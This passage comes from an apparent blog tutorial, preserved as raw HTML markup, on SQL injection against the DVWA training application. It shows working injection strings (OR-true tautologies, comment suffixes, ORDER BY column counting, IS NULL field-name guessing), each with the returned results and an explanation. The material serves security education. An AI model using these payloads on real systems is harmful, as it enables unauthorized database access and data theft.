error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘&lt;/span&gt;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;–&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Consolas, serif;"&gt;” at line 1&lt;/span&gt;&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;span style="font-size: x-small;"&gt;The&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;span style="font-size: x-small;"&gt;-–&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;didn’t work as hoped. Ideally (for the attacker) this will cause the entire following query to be treated as a comment. Note the extra single quote at the end of the returned error. It must be expecting the single quote from user_id=’ to be closed. Let’s try something else…&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=456962442660639401&amp;amp;postID=4916077203322048635" name="Check the results of an OR True statement - Second Try"&gt;&lt;/a&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;strong&gt;Check the results of an OR True statement – Second Try:&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;SELECT&amp;nbsp;first_name,&amp;nbsp;last_name&amp;nbsp;FROM&amp;nbsp;users&amp;nbsp;WHERE&amp;nbsp;user_id&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;em&gt;&lt;strong&gt;‘&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;em&gt;&lt;strong&gt;a’ OR ”=’&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;‘”&lt;/span&gt;&lt;/span&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;Result:&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Consolas, serif;"&gt;&amp;nbsp;ID: a’ OR ”=’&lt;br /&gt;First name: admin&lt;br /&gt;Surname: admin&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;ID: a’ OR ”=’&lt;br /&gt;First name: Gordon&lt;br /&gt;Surname: Brown&lt;/span&gt;&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;ID: a’ OR ”=’&lt;br /&gt;First name: Hack&lt;br /&gt;Surname: Me&lt;/span&gt;&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;ID: a’ OR ”=’&lt;br /&gt;First name: Pablo&lt;br /&gt;Surname: Picasso&lt;/span&gt;&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;ID: a’ OR ”=’&lt;br /&gt;First name: bob&lt;br /&gt;Surname: smith&lt;/span&gt;&lt;/div&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;For a lookup like this, one would only expect the first response to be displayed. If you look at the DVWA source code (Click the View Source tab in DVWA), you can see that a loop is created to cycle through each returned row. This is a bad idea because the expected input should have an expected output of only one result – Why they code this page to display more than one result is beyond be. I guess that’s why they call it DVWA.&lt;/span&gt;&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;Note how we used AND&amp;nbsp;&lt;/span&gt;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;‘’=’&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Consolas, serif;"&gt;at the end of our injection. This takes care of the final single quote by making a statement that is always true&lt;/span&gt;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;‘’=’&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;’&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;SELECT&amp;nbsp;first_name,&amp;nbsp;last_name&amp;nbsp;FROM&amp;nbsp;users&amp;nbsp;WHERE&amp;nbsp;user_id&amp;nbsp;=’&lt;/span&gt;&lt;/span&gt;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;em&gt;&lt;strong&gt;a’ OR ‘x’='x’;#&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;‘”&lt;/span&gt;&lt;/span&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;Here is an alternative injection string that will work. It seems that an injection suffix of&amp;nbsp;&lt;/span&gt;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;;#&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Consolas, serif;"&gt;&amp;nbsp;will comment out the following SQL, thus creating proper syntax within the SQL phrase. We will use this for our suffix for most of the following injection strings.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=456962442660639401&amp;amp;postID=4916077203322048635" name="Find the number of returned columns"&gt;&lt;/a&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;strong&gt;Find the number of returned columns:&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;SELECT&amp;nbsp;first_name,&amp;nbsp;last_name&amp;nbsp;FROM&amp;nbsp;users&amp;nbsp;WHERE&amp;nbsp;user_id&amp;nbsp;=&amp;nbsp;’&lt;/span&gt;&lt;/span&gt;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;em&gt;&lt;strong&gt;a’ ORDER BY 1;#&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;em&gt;&lt;strong&gt;‘&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;“&lt;/span&gt;&lt;/span&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;strong&gt;Result:&lt;/strong&gt;&lt;/span&gt;&lt;span style="font-family: Consolas, serif;"&gt;&amp;nbsp;Nothing….this means that there is at least one column returned from the original SELECT statement.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;SELECT&amp;nbsp;first_name,&amp;nbsp;last_name&amp;nbsp;FROM&amp;nbsp;users&amp;nbsp;WHERE&amp;nbsp;user_id&amp;nbsp;=&amp;nbsp;’&lt;/span&gt;&lt;/span&gt;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;em&gt;&lt;strong&gt;a’ ORDER BY 2;#&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;em&gt;&lt;strong&gt;‘&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;“&lt;/span&gt;&lt;/span&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;strong&gt;Result:&lt;/strong&gt;&lt;/span&gt;&lt;span style="font-family: Consolas, serif;"&gt;&amp;nbsp;Nothing…this means that there are at least two columns returned from the original SELECT statement.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;SELECT&amp;nbsp;first_name,&amp;nbsp;last_name&amp;nbsp;FROM&amp;nbsp;users&amp;nbsp;WHERE&amp;nbsp;user_id&amp;nbsp;=&amp;nbsp;’&lt;/span&gt;&lt;/span&gt;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;em&gt;&lt;strong&gt;a’ ORDER BY 3;#&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;em&gt;&lt;strong&gt;‘&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;“&lt;/span&gt;&lt;/span&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;strong&gt;Result:&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Consolas, serif;"&gt;&amp;nbsp;&lt;/span&gt;Unknown column ’3′ in ‘order clause’&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;This means that there are only two columns returned by the original SELECT statement (In this case, first_name and last_name – We don’t usually get to see the text in blue. We can use these injection phrases to gain more information about the original SQL query’s structure.) If we use UNION to return other results, we will need to make sure that the number of columns is equal in both the original SQL query and our Injected UNION Phrase.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=456962442660639401&amp;amp;postID=4916077203322048635" name="Find field names - First Try"&gt;&lt;/a&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;strong&gt;Find field names – First Try:&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;SELECT&amp;nbsp;first_name,&amp;nbsp;last_name&amp;nbsp;FROM&amp;nbsp;users&amp;nbsp;WHERE&amp;nbsp;user_id&amp;nbsp;=&amp;nbsp;’&lt;/span&gt;&lt;/span&gt;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;em&gt;&lt;strong&gt;a’ OR firstname IS NULL;#&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;‘”&lt;/span&gt;&lt;/span&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;strong&gt;Result:&lt;/strong&gt;&lt;/span&gt;&lt;span style="font-family: Consolas, serif;"&gt;&amp;nbsp;Unknown column ‘firstname’ in ‘where clause’&lt;/span&gt;&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;strong&gt;This is good…&lt;/strong&gt;&lt;/span&gt;&lt;span style="font-family: Consolas, serif;"&gt;.we now know that there is not a column named firstname. Let’s take a few more guesses…&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;SELECT&amp;nbsp;first_name,&amp;nbsp;last_name&amp;nbsp;FROM&amp;nbsp;users&amp;nbsp;WHERE&amp;nbsp;user_id&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;em&gt;&lt;strong&gt;‘&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;em&gt;&lt;strong&gt;a’ OR firstname = ”=’&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;‘”&lt;/span&gt;&lt;/span&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;This is an alternate way to do this. It should also work…there should still be an error if the column does not exist.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=456962442660639401&amp;amp;postID=4916077203322048635" name="Find field names - Second Try"&gt;&lt;/a&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;strong&gt;Find field names – Second Try:&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;SELECT&amp;nbsp;first_name,&amp;nbsp;last_name&amp;nbsp;FROM&amp;nbsp;users&amp;nbsp;WHERE&amp;nbsp;user_id&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;em&gt;&lt;strong&gt;‘&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;em&gt;&lt;strong&gt;a’ OR first_name IS NULL;#&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;‘”&lt;/span&gt;&lt;/span&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;Result: Nothing&lt;/span&gt;&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;…&lt;span style="font-family: Consolas, serif;"&gt;This is good. That means there are no errors, thus there is a field named first_name. Nothing is actually returned because first_name is not NULL, IE…it has something in it.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; 